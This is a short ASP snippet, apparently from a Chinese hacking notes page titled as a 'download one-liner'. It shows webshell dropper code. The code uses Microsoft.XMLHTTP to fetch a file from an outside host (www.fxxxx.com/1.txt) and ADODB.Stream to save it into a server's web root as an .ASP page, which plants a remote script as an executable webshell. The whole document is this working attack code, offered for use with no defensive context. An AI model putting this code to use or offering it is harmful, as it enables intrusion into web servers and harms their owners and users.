asp xmlhttp下载一句话

<% 
Set xPost = createObject("Microsoft.XMLHTTP") 
xPost.Open "GET","http://www.fxxxx.com/1.txt",0 '下载文件的地址 
xPost.Send() 
Set sGet = createObject("ADODB.Stream") 
sGet.Mode = 3 
sGet.Type = 1 
sGet.Open() 
sGet.Write(xPost.responseBody) 
sGet.SaveToFile "E:\WWWROOT\fuck1.ASP",2 
%>